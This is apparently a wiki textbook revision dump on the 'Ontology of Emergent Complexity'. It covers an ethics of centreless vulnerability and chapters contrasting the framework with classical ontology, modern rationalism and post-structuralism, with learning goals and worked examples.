within the Architecture of the Work == This text belongs to the substantive development of the Ontology of Emergent Complexity (OEC), following the rejection of metaphysical dualism. Here, the OEC turns its attention to the domain of ethics, demonstrating the practical consequences of its materialist ontology. It functions as a fundamental transition from the strictly ontological plane to the ethico-political, showing how a decentered conception of matter entails a radical redefinition of the concepts of subject, responsibility, and the very scope of the ethical. == 2. Philosophical Problem at Stake == The central problem is: how can an ethics exist without a centered, pre-constituted subject? The text confronts the challenge of grounding responsibility and ethical obligation in a universe where there is no substantial and permanent “I” to anchor acts. It challenges the deeply rooted intuition that ethics requires a stable, identity-bearing agent, proposing instead an ethics based on the operative vulnerability of complex systems. == 3. Core Thesis and Conceptual Reorganization == The central thesis is that vulnerability is not an accident but the primary ontological condition of all complex systems. From this inversion, the subject is redefined as a threshold effect of symbolic self-modulation, and responsibility is dissociated from identity to become an operative function of complex systems. Ethics, in turn, ceases to be about recognition or duty and becomes the preservation and amplification of relational complexity. The good is immanent to the sustainability of the field of differences. == 4. Key Concepts and Their Articulation == Centerless Vulnerability: The universal ontological condition of exposure and instability of complex systems, which is not an attribute of a subject but the medium in which all subjectivity emerges. Pre-constituted Ethical Subject: The traditional figure of the moral agent as a center of will, consciousness, and stable identity, which the OEC rejects. Threshold Effect: The understanding of subjectivity not as a substance, but as an emergent function that appears when a system reaches a certain degree of symbolic complexity. Responsibility without Identity: A system’s capacity to answer for its acts and to reorganize itself in light of them, not because it maintains a substantial identity, but because it possesses mechanisms of symbolic inscription and feedback. Ethics of the Common: Ethical practice redefined as the collective maintenance of the material and symbolic conditions (infrastructures, languages, institutions) that allow complexity—and therefore difference—to persist. == 5. Implications for Readers and Pedagogical Pathways == This text requires the reader to abandon the intuitive notion of a solid “I” as the basis of ethical life. It may be destabilizing, but it opens the way to a broader ethics that includes non-human systems and emphasizes radical interdependence. Suggestions for classroom or study-group engagement: Compare: Confront the OEC notion of responsibility without identity with theories of responsibility based on character (Aristotle) or on the autonomy of the will (Kant). Analyze: Debate the ethical criterion of “preservation of complexity.” How does it operate? Who decides? What are its risks and potentials? Apply: Use the text’s conceptual framework to analyze a contemporary ethical problem (e.g., the ethics of artificial intelligence, climate change, social justice), focusing on the vulnerability of systems and the preservation of the common. Contrast: Compare “vulnerability” in the OEC with its treatment in ethics of care. What does the OEC’s ontological conception add or modify? {{BookCat}} pkozd92f9m2tv20fk1kjlk0mgt2b0a0 4670792 4670725 2026-09-18T01:44:53Z DavidCota64 3507033 Apply British English throughout the reading colloquium 4670792 wikitext text/x-wiki [[Foundations of the Ontology of Emergent Complexity|Ontology of Emergent Complexity]] == 1. Placement of the Text within the Architecture of the Work == This text belongs to the substantive development of the Ontology of Emergent Complexity (OEC), following the rejection of metaphysical dualism. Here, the OEC turns its attention to the domain of ethics, demonstrating the practical consequences of its materialist ontology. It functions as a fundamental transition from the strictly ontological plane to the ethico-political, showing how a decentered conception of matter entails a radical redefinition of the concepts of subject, responsibility, and the very scope of the ethical. == 2. Philosophical Problem at Stake == The central problem is: how can an ethics exist without a centered, pre-constituted subject? The text confronts the challenge of grounding responsibility and ethical obligation in a universe where there is no substantial and permanent “I” to anchor acts. It challenges the deeply rooted intuition that ethics requires a stable, identity-bearing agent, proposing instead an ethics based on the operative vulnerability of complex systems. == 3. Core Thesis and Conceptual Reorganisation == The central thesis is that vulnerability is not an accident but the primary ontological condition of all complex systems. From this inversion, the subject is redefined as a threshold effect of symbolic self-modulation, and responsibility is dissociated from identity to become an operative function of complex systems. Ethics, in turn, ceases to be about recognition or duty and becomes the preservation and amplification of relational complexity. The good is immanent to the sustainability of the field of differences. == 4. Key Concepts and Their Articulation == Centerless Vulnerability: The universal ontological condition of exposure and instability of complex systems, which is not an attribute of a subject but the medium in which all subjectivity emerges. Pre-constituted Ethical Subject: The traditional figure of the moral agent as a centre of will, consciousness, and stable identity, which the OEC rejects. Threshold Effect: The understanding of subjectivity not as a substance, but as an emergent function that appears when a system reaches a certain degree of symbolic complexity. Responsibility without Identity: A system’s capacity to answer for its acts and to reorganize itself in light of them, not because it maintains a substantial identity, but because it possesses mechanisms of symbolic inscription and feedback. Ethics of the Common: Ethical practice redefined as the collective maintenance of the material and symbolic conditions (infrastructures, languages, institutions) that allow complexity—and therefore difference—to persist. == 5. Implications for Readers and Pedagogical Pathways == This text requires the reader to abandon the intuitive notion of a solid “I” as the basis of ethical life. It may be destabilizing, but it opens the way to a broader ethics that includes non-human systems and emphasizes radical interdependence. Suggestions for classroom or study-group engagement: Compare: Confront the OEC notion of responsibility without identity with theories of responsibility based on character (Aristotle) or on the autonomy of the will (Kant). Analyze: Debate the ethical criterion of “preservation of complexity.” How does it operate? Who decides? What are its risks and potentials? Apply: Use the text’s conceptual framework to analyze a contemporary ethical problem (e.g., the ethics of artificial intelligence, climate change, social justice), focusing on the vulnerability of systems and the preservation of the common. Contrast: Compare “vulnerability” in the OEC with its treatment in ethics of care. What does the OEC’s ontological conception add or modify? {{BookCat}} tbu14fxg9vryvt1ue0mlgsycp9k972m 4670821 4670792 2026-09-18T01:56:25Z DavidCota64 3507033 Consolidate the pedagogical material in the parent page; preserve this page as a redirect 4670821 wikitext text/x-wiki #REDIRECT [[Foundations of the Ontology of Emergent Complexity/4.1 Vulnerability Without Center]] {{BookCat}} ixcj55hk0uoahixj9s49y4cmu428uk9 0 480138 4670767 4670219 2026-09-18T00:18:00Z DavidCota64 3507033 Replace chapter skeleton with a pedagogical, conceptually revised treatment based on the Portuguese source 4670767 wikitext text/x-wiki The purpose of this chapter is not to declare classical ontology obsolete. It is to identify a recurrent architecture of thought and to show what must change when reality is approached as an unstable material field. “Classical ontology” is therefore used here as a diagnostic label for a selected Greek and medieval European lineage, not as the name of a single doctrine. Plato, Aristotle, the Stoics, late antique thinkers, and medieval philosophers disagree on fundamental matters. The discussion isolates tendencies that proved especially durable: the priority of substance over relation, form over variation, permanent order over contingency, and a final ground over open-ended explanation. == Learning orientation == By the end of this chapter, the reader should be able to: * explain why ''displacement'' is different from refutation; * distinguish a substance-centred description from a relational description; * understand why local order is neither eternal order nor arbitrary disorder; * separate material constraint from metaphysical necessity; * identify where a demand for ultimate ground enters an argument. The central question is simple: '''What changes if relations, variations, and conditions of persistence are treated as ontologically primary rather than as secondary features of already constituted things?''' == Displacement rather than refutation == A refutation tries to prove that a proposition is false. A displacement changes the problem, the starting point, or the scale of analysis. The Ontology of Emergent Complexity (OEC) does not need to deny that relatively stable things exist, that forms can be distinguished, or that causal explanations are possible. It asks instead how such stability, form, and causal organisation arise and persist within a field that is not itself guaranteed to remain the same. This move preserves much of what classical ontology made thinkable. Aristotle’s analyses of change, causation, and organised living beings remain indispensable. Platonic questions about intelligibility and participation continue to expose genuine philosophical difficulties. Medieval arguments concerning dependence and contingency sharpen the problem of explanation. What changes is the status of the answers. Stability is treated as an achievement of relations; form as an organised pattern; and explanation as a situated account that need not terminate in a principle outside the field. The displacement therefore operates at three levels: # '''descriptive''': from “What is this thing?” to “How is this configuration composed and maintained?”; # '''explanatory''': from a self-sufficient bearer of properties to networks of dependence and constraint; # '''ontological''': from a world whose order is secured in advance to local orders that remain exposed to variation. == Substance, relation, and persistence == In a substance-centred description, relations commonly appear as something that happens ''between'' entities which are already what they are. A stone can be beside a wall, a citizen can belong to a city, and a plant can receive sunlight; the relata are assumed to precede these relations in ontological importance. The OEC reverses this priority. A configuration is not first complete and only then related. Its identity and capacities depend on the relations through which it is composed and sustained. This does not mean that everything dissolves into an undifferentiated web. Relations form relatively stable configurations with boundaries, histories, and powers of resistance. A tree is not interchangeable with its soil, climate, fungi, or pollinators. Yet what the tree can be is inseparable from these couplings and from the organised relations among its own cells and tissues. Its relative unity is real, but it is produced and maintained rather than metaphysically self-sufficient. “Substance” can still be useful if it names durable organisation. It becomes misleading when durability is converted into independence, or when the persistence of a configuration is taken as evidence of an unchanging essence. The relevant question is not whether the tree is a thing or a relation. It is which relations compose its relative unity, which constraints stabilise it, and which changes would cross a threshold beyond which that unity no longer holds. == Form, matter, and local order == Classical hylomorphic accounts analyse concrete beings through form and matter. Such accounts are more subtle than the slogan “form dominates matter” suggests: for Aristotle, form and matter are explanatory principles that work together. Even so, later uses of this distinction have often encouraged a hierarchy in which intelligible form supplies order while matter receives it. The OEC does not replace this hierarchy with the opposite claim that matter is formless. Matter is always materially organised. A crystal lattice, a cell membrane, a coastline, and a transport network each display patterns, constraints, and capacities. The point is that organisation does not require a form imposed from outside material processes. It can emerge through interactions within the field and persist through ongoing functional coupling. This is the meaning of '''local order'''. An order is local when it belongs to a determinate configuration, scale, and history. “Local” does not mean merely spatially small. A planetary climate or a global market can be local in the ontological sense: neither exhausts the field, neither establishes the rule of every other configuration, and neither is guaranteed to persist unchanged. Local order also differs from arbitrary order. A bridge cannot sustain any imaginable load; a cell cannot maintain itself under every temperature; a language cannot change without any constraint and remain mutually intelligible. Material conditions restrict what can occur. They do not, however, prescribe one uniquely necessary future. == Time, contingency, and necessity == Some classical cosmologies understand time within an ordered whole whose fundamental structure is stable or recurrent. In such settings, change takes place against a more basic permanence. The OEC gives variation a stronger role. Time names the irreversible differentiation of configurations: relations form, persist, fail, and are recomposed. The field does not unfold a complete plan that was already present at the beginning. This claim must not be confused with the denial of necessity. Logical relations, physical constraints, and organised dependencies can make some outcomes impossible and others highly robust. The distinction is between '''situated necessity''' and '''metaphysical predetermination'''. Given a particular structure and set of conditions, a consequence may follow necessarily. It does not follow that the structure itself had to exist, that it will last indefinitely, or that every future configuration is already contained in a timeless order. Contingency likewise does not mean that anything can happen. It means that material constraint underdetermines the complete history of the field. Multiple outcomes may remain possible; new couplings may produce capacities that cannot be read off from isolated components; and established orders may encounter variations they cannot absorb. == Ground, first causes, and immanence == A demand for ultimate ground asks explanation to stop at something that does not itself require explanation: a first cause, necessary being, self-sufficient substance, or absolute principle. These proposals are not identical, and their arguments must be assessed separately. Their shared function is to secure order by reference to what is not exposed to the instability attributed to ordinary configurations. The OEC refuses this exempt position. '''Immanence''' means that no explanatory or normative instance stands outside the material field as its origin, guarantee, or judge. Every actual order is produced within relations and remains vulnerable to their alteration. This refusal does not abolish causes or constraints. It distinguishes a cause operating in the field from a ground imagined as securing the field as a whole. A useful test is to ask: ''Does the explanation identify material conditions and operative relations, or does it introduce a final term whose role is to make further questioning unnecessary?'' The first can be rigorous without being absolute. The second may offer closure, but closure is not the same as explanation. == Diagnostic comparison == {| class="wikitable" ! Question ! Classical tendency isolated here ! OEC displacement |- | What is primary? | Relatively self-sufficient substances | Configurations constituted through relations |- | What explains order? | Form, essence, or a governing principle | Functional coupling under material constraints |- | What is change? | Modification of an underlying identity or order | Real variation that can reorganise identities and capacities |- | What is necessity? | Expression of an ultimately ordered whole | Consequence relative to determinate conditions |- | Where does explanation end? | In a first or self-grounding principle | In revisable accounts of immanent conditions, without final ground |} The table is a map, not a verdict on every classical philosopher. A passage should be read in its own terms before the diagnostic is applied. == Worked example: a whirlpool == Consider a whirlpool in a river. A substance-centred reading may encourage the question: ''What kind of thing is the whirlpool, and which properties belong to it?'' A relational reading begins elsewhere. # Water flow, channel shape, obstacles, and energy gradients form the relevant field. # Their coupling produces a relatively stable rotational pattern. # The whirlpool is real: it has observable effects and can persist. # Its identity is nevertheless inseparable from the relations that maintain it. # If the flow or channel changes beyond a threshold, the whirlpool disappears or becomes another configuration. The example does not prove that every entity is literally a whirlpool. It teaches a method: begin with conditions of composition and persistence before attributing self-sufficiency. A mountain, organism, institution, or concept will require a different account, but the same questions can be asked. == Check your understanding == * Why does saying that order is ''local'' not make it subjective? * Can a configuration be stable without possessing an eternal essence? * What is the difference between a constraint and a predetermined outcome? * At what point does an explanation of conditions turn into an appeal to ultimate ground? * Which features of a concrete object would a substance-first description obscure? == Transition == The classical demand for stable identity and sufficient ground does not disappear when philosophy turns towards the knowing subject. It is reorganised. [[Foundations of the Ontology of Emergent Complexity/5.2 Limits of Modern Rationalism|Section 5.2]] examines how modern rationalism relocates the promise of order in reason, representation, system, and control. The issue is no longer only what the world is, but from what position it can supposedly be rendered transparent. {{BookCat}} 7w09g7v4qzgfr8gb0z9mvvmp3zmfj6b 0 480139 4670766 4670221 2026-09-18T00:17:46Z DavidCota64 3507033 Replace chapter skeleton with a pedagogical, conceptually revised treatment based on the Portuguese source 4670766 wikitext text/x-wiki Modern rationalism changes the centre of philosophy. Instead of beginning only with the order of being, it asks under what conditions a subject can know, justify, and organise experience. This shift produces decisive gains: explicit standards of argument, criticism of inherited authority, mathematical description, and methods that can be publicly tested. The task of this chapter is not to reject those gains. It is to locate the point at which reason is treated as a privileged standpoint capable, in principle, of rendering the real fully transparent. “Modern rationalism” is used here in a broad and limited sense. Descartes, Kant, Hegel, and the scientific traditions influenced by them do not form one doctrine. The term identifies a recurrent aspiration: that a sufficiently ordered activity of thought can secure its own basis, determine the conditions of intelligibility, and integrate what initially appears contingent. == Learning orientation == After reading this chapter, the reader should be able to: * distinguish rational inquiry from the ideal of complete rational transparency; * explain why representation has material conditions; * identify how a system can illuminate relations while also concealing what exceeds it; * separate prediction from mastery; * use a model without confusing it with the concrete process modelled. The guiding question is: '''How can reason remain rigorous once it recognises that it is a situated material activity rather than an external view of the field?''' == What “limit” means == A limit is not merely an external obstacle. It can be constitutive: the very conditions that make an operation possible also restrict what it can do. A map makes a territory navigable by selecting features, scales, and relations. Those selections enable knowledge, but they also exclude detail. Making the map more accurate does not abolish selection; it produces a more adequate selection for a stated purpose. The same applies to rational inquiry. Concepts, diagrams, measurements, classifications, and models extend what can be known. They do so through material inscriptions and symbolic operations. Because no inscription captures every relation of the concrete process from which it is produced, rational articulation encounters '''operative excess''': relevant differences remain outside its current ordering, sometimes becoming visible only when the ordering fails. The limit of rationalism is therefore not that reason is useless or deceptive. It is that reason cannot become an unconditioned position from which the field is exhaustively represented. == The rational subject and the ideal of transparency == Descartes makes the thinking activity of the subject central to the search for certainty. Kant later relocates philosophical inquiry in the conditions that make experience and judgement possible. Hegel seeks to think how apparent oppositions can be mediated within a developing whole. These projects differ profoundly, yet each gives reason a privileged task in establishing or recovering intelligible order. The OEC retains the need for reflexive criticism but removes the subject from an exempt position. Thinking requires a living body, material supports, learned distinctions, social practices, inherited vocabularies, and technical arrangements. None of these simply determines a thought; together they make thought possible and expose it to conditions it does not command. Self-knowledge is subject to the same restriction. A thinker can examine reasons, revise concepts, and recognise error, but cannot make every condition of thinking present at once. Memory, language, embodiment, institutions, and unregistered material effects participate in thought without becoming fully transparent to it. Reflexivity is real and valuable; total self-presence is not its necessary standard. This yields a practical distinction: * '''critical reflexivity''' asks how a claim was produced, what supports it, and what could correct it; * '''the fantasy of transparency''' assumes that sufficient reflection could eliminate every remainder and secure a view without blind spots. The first is indispensable. The second hides the material conditions of reason behind an image of sovereign thought. == Representation and the materiality of symbols == Modern epistemology often presents representation as a relation between an inner or conceptual order and an external object. The central problem then becomes correspondence: how can a representation accurately match what it represents? The OEC reframes the problem. Representations are themselves material operations. A written sentence, laboratory graph, database, equation, map, or computational model requires a support, a procedure of inscription, and organised capacities of recognition. Its validity depends not only on resemblance but on how it was produced, which differences it preserves, which it suppresses, and how it can be tested against further inscriptions. This does not collapse truth into construction. The real constrains representation. A bridge calculated with an inadequate load model can fail; a medical test can generate false results; a satellite record can contradict a climate projection. Such resistance is precisely why revision is possible. Yet correction never converts the representation into the concrete process itself. A more adequate model remains a model: a symbolic configuration designed to preserve selected relations. The relevant contrast is therefore not between access and inaccessibility, but between '''accountable mediation''' and '''forgotten mediation'''. Reason becomes more rigorous when it makes its instruments and selections inspectable. == System, totality, and closure == Systematic thought has genuine advantages. It reveals dependencies that isolated propositions conceal, exposes contradictions, and makes consequences traceable. The problem begins when coherence within a system is treated as evidence that the system has integrated everything relevant. No symbolic system can demonstrate from within itself that no unregistered relation will matter. New observations, techniques, conflicts, or material transformations can reveal that its categories excluded decisive differences. Closure is therefore an achievement relative to a question and a domain, not the final enclosure of the real. For the OEC, '''totality''' can be used as a provisional analytical horizon, but not as a completed object possessed by thought. The field has no view from nowhere. Every account is situated within the relations it describes and can itself alter them. Economic forecasts influence investment; legal classifications redistribute rights; medical categories change how bodies are treated. Description is not outside operation. This point also guards against easy relativism. Systems can be compared. Some preserve more relevant distinctions, withstand more tests, disclose their assumptions more clearly, and permit more effective correction. Fallibility does not make all accounts equivalent. == Prediction, intervention, and control == Modern technoscience often links understanding with prediction and intervention. These capacities can reduce suffering, improve coordination, and disclose regularities inaccessible to unaided perception. The danger lies in turning successful prediction within bounded conditions into a general image of mastery. A prediction depends on a model, input data, boundary conditions, and an interval over which relevant couplings remain sufficiently stable. Failure can arise from poor data or calculation, but also from a change in the configuration itself. Complex systems may react to the prediction: people alter behaviour in response to a forecast; institutions adapt to an indicator; an intervention modifies the environment in which its earlier evidence was gathered. Control is consequently local and reversible. It can be reliable without being absolute. The responsible question is not “Can this system be controlled?” in the abstract, but “Which variables can be influenced, over what range, for how long, with which side effects, and who bears the consequences of error?” == Worked example: a flood-risk model == Imagine a model that estimates the probability of flooding in a coastal city. # Rainfall records, terrain measurements, drainage capacity, tidal patterns, and land use are selected and inscribed as data. # Equations or simulations organise those inscriptions into a symbolic model. # The model can reveal couplings that unaided observation would miss and support evacuation or infrastructure planning. # It cannot include every future obstruction, building decision, behavioural response, or weather interaction. # Once authorities act on it, the model becomes part of the field: insurance prices, construction, and public behaviour may change. The correct conclusion is not that the model is merely subjective. Its predictions can be tested and improved. Nor is it that uncertainty prevents action. The conclusion is that validity, uncertainty, and consequences must be stated together. A model is rationally stronger when it identifies its domain, assumptions, confidence, and possible modes of failure. == Achievement and limit == {| class="wikitable" ! Rational achievement ! Constitutive limit ! Operative response |- | Reflexive justification | Not every condition of thought becomes transparent | Make standpoint, supports, and exclusions explicit |- | Representation | No inscription reproduces the concrete in full | Test, compare, and revise mediations |- | Systematic coherence | Coherence does not guarantee completeness | Keep boundaries and counter-evidence visible |- | Prediction | Couplings and boundary conditions can change | State range, uncertainty, and failure modes |- | Intervention | Effects redistribute exposure and may alter the system | Monitor consequences and preserve capacity for correction |} == Check your understanding == * Why is a materially mediated representation not thereby false? * What distinguishes the claim “this model is reliable here” from “this model masters the process”? * Can a coherent system omit something that later becomes decisive? * How does a prediction become one of the causes operating in the situation it predicts? * Which forms of institutional power can hide behind the language of neutral rationality? == Transition == The critique of a sovereign subject, transparent representation, and closed system is developed with particular force by twentieth-century structuralist and post-structuralist thought. [[Foundations of the Ontology of Emergent Complexity/5.3 Ambiguities of Post-Structuralism|Section 5.3]] asks what this critique makes possible and where it can still leave material processes, non-human configurations, and the act of decision insufficiently specified. {{BookCat}} 7ev8jf9ocjzwemrhjuo2srf2kz6dqag 0 480140 4670726 4670223 2026-09-17T23:39:37Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670726 wikitext text/x-wiki == 5.3 Ambiguities of Post-Structuralism == Post-structuralism did not simply reject modern rationalism; it exposed many of its blind spots. It questioned the sovereign subject, destabilised foundations, and insisted on difference, contingency, and the productivity of discourse. Yet, from the standpoint adopted here, this displacement remains ambivalent. Instability is often absorbed into language, text, or discourse, while the material field that exceeds representation remains under-theorised. The aim of this section is to read post-structuralism as a crucial but incomplete attempt to think without ground, and to identify where it reintroduces, in displaced form, the very structures it seeks to overcome. [5.3.A – Function of this section within the book: This block should clarify why “ambiguities” is the key term. The goal is not to dismiss post-structuralism, but to treat it as an essential interlocutor that both radicalises and reproduces elements of the classical and modern configurations. It radicalises the critique of the subject, of presence, and of foundational reason; yet it often remains tied to a correlation between language and world, or between discourse and reality. This section must connect back to 5.1 and 5.2, showing how post-structuralism emerges from diagnosing their limits, while preparing the move toward a material account of symbolic operations that does not collapse the field into text.] [5.3.B – Decentring the subject and the persistence of correlation: This block should analyse the post-structuralist move that decentres the subject (as origin of meaning, as centre of rationality, as ground of politics) and replaces it with structures of language, discourse, or power. While this decentring is crucial for the present framework, it often remains correlationist: the real is still framed primarily in terms of its relation to signification, discourse, or experience. The ambiguity lies in the fact that the subject is criticised, but the human regime of correlation (between language and world, between sense and being) is not fully displaced. From the standpoint adopted here, the subject must be treated as a local material configuration within an unstable field, not as the default horizon of intelligibility.] [5.3.C – Language, text, and the risk of discursivism: This block should address the tendency, in some strands of post-structuralism, to privilege language, text, or discourse as the primary site of reality’s articulation. Difference, excess, and instability are then described mainly at the level of signification: play of the signifier, dissemination of meaning, discursive construction. The ambiguity is that material processes, infrastructures, and non-human organisations risk appearing only as correlates of discourse. In contrast, the framework proposed here insists that symbolic operations are material couplings acting upon an already unstable field, not the ultimate horizon of the real. The analysis should therefore acknowledge the power of post-structuralist insights into language while marking the limit of a purely discursive ontology.] [5.3.D – Power, normativity, and the materiality of exposure: This block should engage with post-structuralist analyses of power, normativity, and subjectivation (for example, around discipline, biopolitics, performativity). These analyses show how norms shape bodies, identities, and possibilities of action. The ambiguity arises when power is primarily understood as a network of discourses and practices without a sufficiently explicit account of the underlying material field of exposure and vulnerability. In the present framework, power is always materially inscribed in patterns of exposure: who can be affected, seen, heard, or erased. This block should show how the notion of a material field of contact can deepen post-structural accounts of power, by grounding them in configurations of vulnerability rather than in discourse alone.] [5.3.E – Difference, undecidability, and the problem of decision: This block should focus on the way post-structuralism often foregrounds difference, undecidability, and the impossibility of final closure. While this is crucial for breaking with the ideal of total system and ultimate ground, it can slide into a paralysis of decision or into a celebration of indeterminacy that brackets the need to act within the field. From the perspective developed here, the impossibility of closure does not suspend decision; it intensifies it. Operational excess means that decisions are taken without guarantee, but they still reorganize the material field in concrete ways. This block should therefore identify the ambiguity in post-structural emphases on undecidability: they reveal a structural feature of the field, but sometimes underplay the necessity and weight of situated decisions.] [5.3.F – Materialism, bodies, and the unresolved status of the non-human: This block should consider post-structural and post-humanist attempts to engage with bodies, materiality, and the non-human. Despite important moves beyond humanism, there often remains an ambiguity: materiality is either treated as text-like (to be “read”) or as a backdrop for discursive practices. Non-human agencies appear as metaphors or as limits of discourse rather than as fully fledged participants in the unstable field. In the framework adopted here, material organisations at every scale precede and exceed symbolic operations; symbols are late-arriving material structures acting on other material structures. This block should mark where post-structuralism opens the door to such a view and where it falls back into a subtle anthropocentrism.] [5.3.G – From post-structural critique to a material theory of symbols: This final block should draw together the ambiguities identified and prepare the transition to the constructive part of the book. It should acknowledge that without post-structural critiques of subject, presence, and foundation, the present framework would not be possible. At the same time, it must state clearly that a further step is required: to think symbols, norms, and institutions as material operations within an unstable field, not as ultimate horizons of reality. This section should close by indicating that the ontology of emergent complexity takes seriously the insights of post-structuralism, but relocates them in a materialist account of exposure, coupling, and symbolic reorganization.] {{BookCat}} m15jfooqook6wt8rdqckql1pabrhm2e 4670765 4670726 2026-09-18T00:17:30Z DavidCota64 3507033 Replace chapter skeleton with a pedagogical, conceptually revised treatment based on the Portuguese source 4670765 wikitext text/x-wiki Post-structuralist thought is one of the closest interlocutors of this book. It contests stable essences, decentres the sovereign subject, analyses the productive force of discourse and institutions, and treats difference as more basic than fixed identity. Those moves prepare much of the conceptual terrain on which the Ontology of Emergent Complexity (OEC) works. Closeness, however, is not identity. This chapter examines recurrent tensions within a diverse field that includes authors as different as Foucault, Derrida, Deleuze, Butler, and later materialist interlocutors. The word “ambiguity” is used deliberately: the same conceptual move can open a decisive possibility and leave a question unresolved. The aim is neither to dismiss these thinkers nor to assign one thesis to all of them. It is to identify where the OEC inherits their critical work and where it makes a further displacement. == Learning orientation == By the end of this chapter, the reader should be able to: * explain why decentring the subject does not automatically move beyond subject-centred philosophy; * distinguish the materiality of discourse from the claim that everything is discursive; * relate power to material distributions of exposure; * separate undecidability from indefinite deferral; * distinguish operative effect from symbolic agency. The guiding question is: '''After identity, origin, and sovereign subjectivity have been criticised, how can material processes and accountable decisions be described without restoring a hidden centre?''' == What post-structuralism makes possible == The term ''post-structuralism'' is retrospective and imperfect. It groups projects that do not share a programme. Nevertheless, several critical achievements recur across this field: * identities are produced through differences and practices rather than simply discovered; * subjects are historically and institutionally formed rather than self-originating; * language and representation do not transparently copy a prior reality; * power operates through norms, classifications, bodies, and everyday arrangements; * systems contain tensions and exclusions that prevent final closure. The OEC accepts these achievements as starting points. Its questions arise inside the space they opened. The issue is whether critique of foundations can be joined to a positive account of the material field, of emergent capacities, and of the conditions under which symbolic response becomes possible. == Decentring the subject and the persistence of correlation == To decentre the subject is to deny that a self-transparent human consciousness is the origin of meaning and order. Foucault’s analyses of subject formation, Derrida’s critique of presence, and Butler’s account of performativity each displace the autonomous individual in a different way. Yet a philosophy can reject the sovereign subject while continuing to organise its questions around the relation between thought, language, and world. If the real is approached mainly through the conditions under which it is given, interpreted, or discursively articulated, the subject may remain as an absent centre: no longer master, but still the horizon around which the analysis turns. The OEC makes a stronger materialist claim. Material processes do not begin when they enter human experience or discourse. Stars form, rivers alter their courses, cells differentiate, and species become extinct without awaiting symbolic recognition. Human knowledge of those processes is mediated, but the processes are not constituted by that mediation. This distinction avoids two symmetrical mistakes: * '''naive access''': assuming that thought simply receives the real as it is; * '''correlationist enclosure''': treating the relation between thought and real as the only philosophically accessible problem. Situated knowledge can be mediated and answerable to a real that exceeds it. == Language, text, and the risk of discursivism == Post-structuralist analyses demonstrate that descriptions do not merely label a neutral world. A diagnostic category can reorganise medical treatment; a legal definition can alter citizenship; an archive can determine which events become administratively visible. Discourse has material effects because it is embedded in institutions, bodies, technologies, and practices. The risk of '''discursivism''' appears when this insight is generalised into the assumption that whatever matters is constituted through discourse. That conclusion need not be attributed to every post-structuralist author, and it should not be inferred from Derrida’s often simplified discussions of textuality. It is better understood as a recurrent tendency in reception and application: attention to discursive mediation can eclipse processes that are neither linguistic nor dependent on human recognition. The OEC responds by distinguishing the real, the concrete, and theory. A process is real independently of its observation. The concrete is the situated portion encountered and materially registered. Theory is a symbolic articulation constructed from such inscriptions. Theory can reorganise how the real is engaged, but it does not produce the whole process it articulates. Symbols are therefore both material and limited. They require physical supports and organised capacities; they can change institutions and environments; and they still encounter differences they have not integrated. Discursive power is real precisely because discourse operates materially, not because materiality is only discourse. == Power, normativity, and material exposure == Foucault shows that power is productive: it shapes conduct, knowledge, bodies, and possible identities. Butler demonstrates how norms become embodied and how recognition distributes livability. These analyses prevent politics from being reduced to commands issued by a central sovereign. The OEC asks an additional question: '''How are the effects of these operations materially distributed?''' A norm does not affect every configuration in the same way. Housing rules, borders, medical protocols, and technical standards distribute access, risk, delay, mobility, and injury. Their operation becomes ethically legible through exposure and vulnerability. '''Exposure''' is not only the experience of feeling exposed. It is the condition of being open to effects produced by other configurations. '''Vulnerability''' names the unequal capacities to absorb, avoid, contest, or repair those effects. These operators join an analysis of power to bodies, infrastructures, ecologies, and resources without reducing politics to subjective intention. This extension also prevents normativity from floating above the field. A decision is evaluated through the reorganisations it produces: whose capacities of response are maintained, which destructive asymmetries are reduced or intensified, and whether contestation and repair remain possible. == Difference, undecidability, and decision == Derridean undecidability shows why a responsible decision cannot be the mechanical application of a complete rule. If a rule uniquely determined the outcome, there would be calculation but no decision in the strong sense. The OEC preserves this insight. A field marked by operative excess cannot be fully integrated before action. The ambiguity begins when openness is confused with endless postponement. Material processes do not pause until interpretation is complete. Institutions allocate resources, bodies undergo harm, and ecological thresholds are crossed. Refusal to decide can itself maintain an existing distribution of exposure. '''Hesitation''' therefore has a precise function. It interrupts automatic response long enough to register excluded relations and possible consequences. It is not an alibi for indefinite deferral. '''Decision''' is the situated material inscription of a new relational pattern under conditions that do not supply a final guarantee. Accountability follows from this structure. A decision may be necessary without being certain, and revisable without being arbitrary. It should state the differences it selects, the exposure it redistributes, and the conditions under which it must be reconsidered. == Bodies, non-human processes, and agency == Deleuze, feminist materialisms, science and technology studies, and more-than-human approaches have widened philosophy’s attention to bodies, affects, technical systems, animals, and ecologies. The OEC shares this movement away from human exceptionalism, but uses a restricted vocabulary of agency. Every material configuration can have '''operative effects''': a storm alters a coast, a virus changes behaviour, and a database constrains access. Symbolic agency is more specific. It requires capacities to recognise material marks through symbols, relate symbols to other symbols, and modulate action through that organisation. The restriction is functional, not a declaration of human privilege. A non-human or post-biological configuration would count as symbolically agentive if it met the criteria. This distinction avoids two reductions. It does not treat non-human processes as passive matter awaiting human action. Nor does it call every causal effect “agency”, which would erase the difference between producing an effect and symbolically reorganising a field in response to represented relations. == A diagnostic map == {| class="wikitable" ! Post-structuralist gain ! Recurrent ambiguity ! OEC displacement |- | The subject is produced, not sovereign | Analysis can remain centred on conditions of human access | Material processes exceed their relation to thought |- | Discourse produces real effects | Mediation can eclipse non-discursive processes | Symbols are material operations within a wider field |- | Power is distributed and productive | Its material burdens may remain underspecified | Exposure and vulnerability track asymmetric effects |- | Difference prevents final closure | Openness can become indefinite deferral | Hesitation prepares situated and revisable decision |- | Human exceptionalism is criticised | Every effect may be called agency | Operative effect is general; symbolic agency has functional criteria |} == Worked example: a polluted river == Consider a river contaminated by industrial discharge. # The chemical processes and biological damage are real before they are legally or publicly recognised. # Sampling devices produce inscriptions from situated contact with the river. # Scientific classifications, maps, and reports organise those inscriptions symbolically. # Legal thresholds and administrative categories determine which harms become actionable. # Communities, workers, species, and infrastructures are exposed differently to the contamination and to the measures adopted. # A decision about closure, remediation, or compensation reorganises those relations under incomplete knowledge. A purely naive realist account may ignore how categories and institutions shape action. A purely discursive account may obscure the material process that resists every description. The OEC requires both dimensions: symbolic configurations materially intervene in a field they do not exhaust. == Check your understanding == * Can a discourse be materially effective without constituting the whole reality it describes? * What remains subject-centred after the sovereign subject has been criticised? * When does hesitation improve a decision, and when does delay reproduce harm? * Why is a storm operative without necessarily being a symbolic agent? * In the river example, which differences remain outside the initial institutional description? == Transition == The three chapters of Part V have displaced substance, sovereign reason, and critique without decision. Part VI now gathers the operators needed to work positively. [[Foundations of the Ontology of Emergent 